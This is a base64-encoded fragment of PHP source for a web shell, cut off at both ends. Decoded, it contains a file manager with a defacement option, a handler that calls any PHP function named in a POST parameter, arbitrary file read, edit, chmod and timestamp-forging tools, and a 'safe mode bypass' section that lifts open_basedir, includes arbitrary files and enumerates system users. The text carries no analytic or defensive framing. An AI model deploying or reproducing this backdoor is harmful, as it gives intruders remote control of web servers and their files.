xvcHRpb24gdmFsdWU9XCdtb3ZlXCc+TW92ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCdkZWxldGVcJz5EZWxldGU8L29wdGlvbj4nOwogICAgaWYoIWVtcHR5KCRfU0VTU0lPTlsnYWN0J10pJiZAY291bnQoJF9TRVNTSU9OWydmJ10pKXtlY2hvICc8b3B0aW9uIHZhbHVlPVwncGFzdGVcJz5QYXN0ZTwvb3B0aW9uPic7IH0KICAgIGVjaG8gJzwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSI+PiI+PC90ZD48dGQgY29sc3Bhbj0iMiIgYWxpZ249InJpZ2h0IiB3aWR0aD0iMSI+PGlucHV0IG5hbWU9ImRlZiIgaWQ9ImRlZiIgdmFsdWU9ImluZGV4LnBocCIgc2l6ZT0iMTAiLz4mbmJzcDs8aW5wdXQgdHlwZT0iYnV0dG9uIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLidcJyxcJ2RlZmFjZVwnLGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnZGVmXCcpLnZhbHVlKSIgdmFsdWU9IkFkZCBEZWZhY2UgSGVyZSI+PC90ZD48L3RyPgogICAgPC9mb3JtPjwvdGFibGU+PC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvblN0cmluZ1Rvb2xzKCkgewogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmJpbicpKSB7ZnVuY3Rpb24gaGV4MmJpbigkcCkge3JldHVybiBkZWNiaW4oaGV4ZGVjKCRwKSk7fX0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJhc2NpaScpKSB7ZnVuY3Rpb24gaGV4MmFzY2lpKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJMZW4oJHApOyRpKz0yKXskci49Y2hyKGhleGRlYygkcFskaV0uJHBbJGkrMV0pKTt9cmV0dXJuICRyO319CiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdhc2NpaTJoZXgnKSkge2Z1bmN0aW9uIGFzY2lpMmhleCgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5jb2RlJykpIHtmdW5jdGlvbiBmdWxsX3VybGVuY29kZSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gJyUnLmRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319CiAgICAKICAgIGlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgewogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gdHJ1ZTsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygkX1BPU1RbJ3AxJ10pKQogICAgICAgICAgICBlY2hvICRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pOwogICAgICAgICR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOwogICAgICAgIGVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7CiAgICAgICAgZXhpdDsKICAgIH0KICAgIHByaW50SGVhZGVyKCk7CiAgICBlY2hvICc8aDE+U3RyaW5nIGNvbnZlcnNpb25zPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKICAgICRzdHJpbmdUb29scyA9IGFycmF5KAogICAgICAgICdCYXNlNjQgZW5jb2RlJyA9PiAnYmFzZTY0X2VuY29kZScsCiAgICAgICAgJ0Jhc2U2NCBkZWNvZGUnID0+ICdiYXNlNjRfZGVjb2RlJywKICAgICAgICAnVXJsIGVuY29kZScgPT4gJ3VybGVuY29kZScsCiAgICAgICAgJ1VybCBkZWNvZGUnID0+ICd1cmxkZWNvZGUnLAogICAgICAgICdGdWxsIHVybGVuY29kZScgPT4gJ2Z1bGxfdXJsZW5jb2RlJywKICAgICAgICAnbWQ1IGhhc2gnID0+ICdtZDUnLAogICAgICAgICdzaGExIGhhc2gnID0+ICdzaGExJywKICAgICAgICAnY3J5cHQnID0+ICdjcnlwdCcsCiAgICAgICAgJ0NSQzMyJyA9PiAnY3JjMzInLAogICAgICAgICdBU0NJSSB0byBIRVgnID0+ICdhc2NpaTJoZXgnLAogICAgICAgICdIRVggdG8gQVNDSUknID0+ICdoZXgyYXNjaWknLAogICAgICAgICdIRVggdG8gREVDJyA9PiAnaGV4ZGVjJywKICAgICAgICAnSEVYIHRvIEJJTicgPT4gJ2hleDJiaW4nLAogICAgICAgICdERUMgdG8gSEVYJyA9PiAnZGVjaGV4JywKICAgICAgICAnREVDIHRvIEJJTicgPT4gJ2RlY2JpbicsCiAgICAgICAgJ0JJTiB0byBIRVgnID0+ICdiaW4yaGV4JywKICAgICAgICAnQklOIHRvIERFQycgPT4gJ2JpbmRlYycsICAgICAgICAKICAgICAgICAnU3RyaW5nIHRvIGxvd2VyIGNhc2UnID0+ICdzdHJ0b2xvd2VyJywKICAgICAgICAnU3RyaW5nIHRvIHVwcGVyIGNhc2UnID0+ICdzdHJ0b3VwcGVyJywKICAgICAgICAnSHRtbHNwZWNpYWxjaGFycycgPT4gJ2h0bWxzcGVjaWFsY2hhcnMnLAogICAgICAgICdTdHJpbmcgbGVuZ3RoJyA9PiAnc3RybGVuJywKICAgICk7CiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gZmFsc2U7CiAgICBlY2hvICI8Zm9ybSBuYW1lPSd0b29sc0Zvcm0nIG9uU3VibWl0PSdpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9IHJldHVybiBmYWxzZTsnPjxzZWxlY3QgbmFtZT0nc2VsZWN0VG9vbCc+IjsKICAgIGZvcmVhY2goJHN0cmluZ1Rvb2xzIGFzICRrID0+ICR2KQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIic+Ii4kay4iPC9vcHRpb24+IjsKICAgICAgICBlY2hvICI8L3NlbGVjdD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nLz4gPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgIi4oJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4iPiBzZW5kIHVzaW5nIEFKQVg8YnI+PHRleHRhcmVhIG5hbWU9J2lucHV0JyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnIGNsYXNzPWJpZ2FyZWE+Ii5odG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ3AyJ10pLiI8L3RleHRhcmVhPjwvZm9ybT48cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSciLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuIm1hcmdpbi10b3A6NXB4JyBpZD0nc3RyT3V0cHV0Jz4iOwogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJF9QT1NUWydwMSddKSkKICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSkpOwogICAgfQogICAgZWNobyI8L3ByZT48L2Rpdj4iOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uRmlsZXNUb29scygpIHsKICAgIGlmKCBpc3NldCgkX1BPU1RbJ3AxJ10pICkKICAgICAgICAkX1BPU1RbJ3AxJ10gPSB1cmxkZWNvZGUoJF9QT1NUWydwMSddKTsKICAgIGlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpIHsKICAgICAgICBpZihpc19maWxlKCRfUE9TVFsncDEnXSkgJiYgaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgewogICAgICAgICAgICBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7CiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii5iYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKTsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygibWltZV9jb250ZW50X3R5cGUiKSkgewogICAgICAgICAgICAgICAgJHR5cGUgPSBAbWltZV9jb250ZW50X3R5cGUoJF9QT1NUWydwMSddKTsKICAgICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiAiLiR0eXBlKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAiciIpOwogICAgICAgICAgICBpZigkZnApIHsKICAgICAgICAgICAgICAgIHdoaWxlKCFAZmVvZigkZnApKQogICAgICAgICAgICAgICAgICAgIGVjaG8gQGZyZWFkKCRmcCwgMTAyNCk7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmKGlzX2RpcigkX1BPU1RbJ3AxJ10pICYmIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsKCiAgICAgICAgfQogICAgICAgIGV4aXQ7CiAgICB9CiAgICBpZiggQCRfUE9TVFsncDInXSA9PSAnbWtmaWxlJyApIHsKICAgICAgICBpZighZmlsZV9leGlzdHMoJF9QT1NUWydwMSddKSkgewogICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAndycpOwogICAgICAgICAgICBpZigkZnApIHsKICAgICAgICAgICAgICAgICRfUE9TVFsncDInXSA9ICJlZGl0IjsKICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5GaWxlIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKICAgIGlmKCAhZmlsZV9leGlzdHMoQCRfUE9TVFsncDEnXSkgKSB7CiAgICAgICAgZWNobyAnRmlsZSBub3QgZXhpc3RzJzsKICAgICAgICBwcmludEZvb3RlcigpOwogICAgICAgIHJldHVybjsKICAgIH0KICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pKTsKICAgICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pKTsKICAgIGVjaG8gJzxzcGFuPk5hbWU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIDxzcGFuPlNpemU6PC9zcGFuPiAnLihpc19maWxlKCRfUE9TVFsncDEnXSk/dmlld1NpemUoZmlsZXNpemUoJF9QT1NUWydwMSddKSk6Jy0nKS4nIDxzcGFuPlBlcm1pc3Npb246PC9zcGFuPiAnLnZpZXdQZXJtc0NvbG9yKCRfUE9TVFsncDEnXSkuJyA8c3Bhbj5Pd25lci9Hcm91cDo8L3NwYW4+ICcuJHVpZFsnbmFtZSddLicvJy4kZ2lkWyduYW1lJ10uJzxicj4nOwogICAgZWNobyAnPHNwYW4+Q3JlYXRlIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlY3RpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5BY2Nlc3MgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVhdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPk1vZGlmeSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLic8YnI+PGJyPic7CiAgICBpZiggZW1wdHkoJF9QT1NUWydwMiddKSApCiAgICAgICAgJF9QT1NUWydwMiddID0gJ3ZpZXcnOwogICAgaWYoIGlzX2ZpbGUoJF9QT1NUWydwMSddKSApCiAgICAgICAgJG0gPSBhcnJheSgnVmlldycsICdIaWdobGlnaHQnLCAnRG93bmxvYWQnLCAnSGV4ZHVtcCcsICdFZGl0JywgJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcpOwogICAgZWxzZQogICAgICAgICRtID0gYXJyYXkoJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcpOwogICAgZm9yZWFjaCgkbSBhcyAkdikKICAgICAgICBlY2hvICc8YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCxcJycuc3RydG9sb3dlcigkdikuJ1wnKSI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydwMiddKT8nPGI+WyAnLiR2LicgXTwvYj4nOiR2KS4nPC9hPiAnOwogICAgZWNobyAnPGJyPjxicj4nOwogICAgc3dpdGNoKCRfUE9TVFsncDInXSkgewogICAgICAgIGNhc2UgJ3ZpZXcnOgogICAgICAgICAgICBlY2hvICc8cHJlIGNsYXNzPW1sMT4nOwogICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOwogICAgICAgICAgICBpZigkZnApIHsKICAgICAgICAgICAgICAgIHdoaWxlKCAhQGZlb2YoJGZwKSApCiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsKICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8L3ByZT4nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdoaWdobGlnaHQnOgogICAgICAgICAgICBpZiggaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSApIHsKICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9bWwxIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwO2NvbG9yOmJsYWNrOyI+JzsKICAgICAgICAgICAgICAgICRjb2RlID0gaGlnaGxpZ2h0X2ZpbGUoJF9QT1NUWydwMSddLHRydWUpOwogICAgICAgICAgICAgICAgZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250PicpLCRjb2RlKS4nPC9kaXY+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdjaG1vZCc6CiAgICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKICAgICAgICAgICAgICAgICRwZXJtcyA9IDA7CiAgICAgICAgICAgICAgICBmb3IoJGk9c3RybGVuKCRfUE9TVFsncDMnXSktMTskaT49MDstLSRpKQogICAgICAgICAgICAgICAgICAgICRwZXJtcyArPSAoaW50KSRfUE9TVFsncDMnXVskaV0qcG93KDgsIChzdHJsZW4oJF9QT1NUWydwMyddKS0kaS0xKSk7CiAgICAgICAgICAgICAgICBpZighQGNobW9kKCRfUE9TVFsncDEnXSwgJHBlcm1zKSkKICAgICAgICAgICAgICAgICAgICBlY2hvICdDYW5cJ3Qgc2V0IHBlcm1pc3Npb25zITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7CiAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLG51bGwsbnVsbCwiIik8L3NjcmlwdD4nKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMuY2htb2QudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jaG1vZCB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwMSddKSksLTQpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdlZGl0JzoKICAgICAgICAgICAgaWYoICFpc193cml0YWJsZSgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgICAgICAgICBlY2hvICdGaWxlIGlzblwndCB3cml0ZWFibGUnOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSwkX1BPU1RbJ3AzJ10pOwogICAgICAgICAgICAgICAgZWNobyAnU2F2ZWQhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7CiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7CiAgICAgICAgICAgIGlmKCRmcCkgewogICAgICAgICAgICAgICAgd2hpbGUoICFAZmVvZigkZnApICkKICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOwogICAgICAgICAgICAgICAgQGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2hleGR1bXAnOgogICAgICAgICAgICAkYyA9IEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3AxJ10pOwogICAgICAgICAgICAkbiA9IDA7CiAgICAgICAgICAgICRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOwogICAgICAgICAgICAkbGVuID0gc3RybGVuKCRjKTsKICAgICAgICAgICAgZm9yICgkaT0wOyAkaTwkbGVuOyArKyRpKSB7CiAgICAgICAgICAgICAgICAkaFsxXSAuPSBzcHJpbnRmKCclMDJYJyxvcmQoJGNbJGldKSkuJyAnOwogICAgICAgICAgICAgICAgc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAwOiAgJGhbMl0gLj0gJyAnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDk6ICAkaFsyXSAuPSAnICc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMTA6ICRoWzJdIC49ICcgJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAxMzogJGhbMl0gLj0gJyAnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBkZWZhdWx0OiAkaFsyXSAuPSAkY1skaV07IGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJG4rKzsKICAgICAgICAgICAgICAgIGlmICgkbiA9PSAzMikgewogICAgICAgICAgICAgICAgICAgICRuID0gMDsKICAgICAgICAgICAgICAgICAgICBpZiAoJGkrMSA8ICRsZW4pIHskaFswXSAuPSBzcHJpbnRmKCclMDhYJywkaSsxKS4nPGJyPic7fQogICAgICAgICAgICAgICAgICAgICRoWzFdIC49ICc8YnI+JzsKICAgICAgICAgICAgICAgICAgICAkaFsyXSAuPSAiXG4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9IzAwMD48dHI+PHRkIGJnY29sb3I9IzAwMD48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IG5vcm1hbDsiPjxwcmU+Jy4kaFswXS4nPC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9IzAwMD48cHJlPicuJGhbMV0uJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzAwMD48cHJlPicuaHRtbHNwZWNpYWxjaGFycygkaFsyXSkuJzwvcHJlPjwvdGQ+PC90cj48L3RhYmxlPic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ3JlbmFtZSc6CiAgICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKICAgICAgICAgICAgICAgIGlmKCFAcmVuYW1lKCRfUE9TVFsncDEnXSwgJF9QT1NUWydwMyddKSkKICAgICAgICAgICAgICAgICAgICBlY2hvICdDYW5cJ3QgcmVuYW1lITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7CiAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLCInLnVybGVuY29kZSgkX1BPU1RbJ3AzJ10pLiciLG51bGwsIiIpPC9zY3JpcHQ+Jyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLm5hbWUudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1uYW1lIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAndG91Y2gnOgogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CiAgICAgICAgICAgICAgICAkdGltZSA9IHN0cnRvdGltZSgkX1BPU1RbJ3AzJ10pOwogICAgICAgICAgICAgICAgaWYoJHRpbWUpIHsKICAgICAgICAgICAgICAgICAgICBpZihAdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKSkKICAgICAgICAgICAgICAgICAgICAgICAgZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLG51bGwsbnVsbCwiIik8L3NjcmlwdD4nKTsKICAgICAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnRmFpbCE8c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBlbHNlIGVjaG8gJ0JhZCB0aW1lIGZvcm1hdCE8c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnRvdWNoLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dG91Y2ggdmFsdWU9IicuZGF0ZSgiWS1tLWQgSDppOnMiLCBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdta2ZpbGUnOgogICAgICAgICAgICAKICAgICAgICAgICAgYnJlYWs7CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uU2FmZU1vZGUoKSB7CiAgICAkdGVtcD0nJzsKICAgIG9iX3N0YXJ0KCk7CiAgICBzd2l0Y2goJF9QT1NUWydwMSddKSB7CiAgICAgICAgY2FzZSAxOgogICAgICAgICAgICAkdGVtcD1AdGVtcG5hbSgkdGVzdCwgJ2N4Jyk7CiAgICAgICAgICAgIGlmKEBjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kX1BPU1RbJ3AyJ10sICR0ZW1wKSl7CiAgICAgICAgICAgICAgICBlY2hvIEBmaWxlX2dldF9jb250ZW50cygkdGVtcCk7CiAgICAgICAgICAgICAgICB1bmxpbmsoJHRlbXApOwogICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5Li4uIENhblwndCBvcGVuIGZpbGUnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlIDI6CiAgICAgICAgICAgICRmaWxlcyA9IGdsb2IoJF9QT1NUWydwMiddLicqJyk7CiAgICAgICAgICAgIGlmKCBpc19hcnJheSgkZmlsZXMpICkKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZW5hbWUpCiAgICAgICAgICAgICAgICAgICAgZWNobyAkZmlsZW5hbWUuIlxuIjsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAzOgogICAgICAgICAgICAkY2ggPSBjdXJsX2luaXQoImZpbGU6Ly8iLiRfUE9TVFsncDInXS4iXHgwMCIuU0VMRl9QQVRIKTsKICAgICAgICAgICAgY3VybF9leGVjKCRjaCk7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgNDoKICAgICAgICAgICAgaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOwogICAgICAgICAgICBpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7CiAgICAgICAgICAgIGluY2x1ZGUoJF9QT1NUWydwMiddKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSA1OgogICAgICAgICAgICBmb3IoOyRfUE9TVFsncDInXSA8PSAkX1BPU1RbJ3AzJ107JF9QT1NUWydwMiddKyspIHsKICAgICAgICAgICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydwMiddKTsKICAgICAgICAgICAgICAgIGlmICgkdWlkKQogICAgICAgICAgICAgICAgICAgIGVjaG8gam9pbignOicsJHVpZCkuIlxuIjsKICAgICAgICAgICAgfQogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlIDY6CiAgICAgICAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2ltYXBfb3BlbicpKWJyZWFrOwogICAgICAgICAgICAkc3RyZWFtID0gaW1hcF9vcGVuKCRfUE9TVFsncDInXSwgIiIsICIiKTsKICAgICAgICAgICAgaWYgKCRzdHJlYW0gPT0gRkFMU0UpCiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZWNobyBpbWFwX2JvZHkoJHN0cmVhbSwgMSk7CiAgICAgICAgICAgIGltYXBfY2xvc2UoJHN0cmVhbSk7CiAgICAgICAgICAgIGJyZWFrOwogICAgfQogICAgJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsKICAgIHByaW50SGVhZGVyKCk7CiAgICBlY2hvICc8aDE+U2FmZSBtb2RlIGJ5cGFzczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CiAgICBlY2hvICc8c3Bhbj5Db3B5IChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjEiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5HbG9iIChsaXN0IGRpcik8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMiIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkN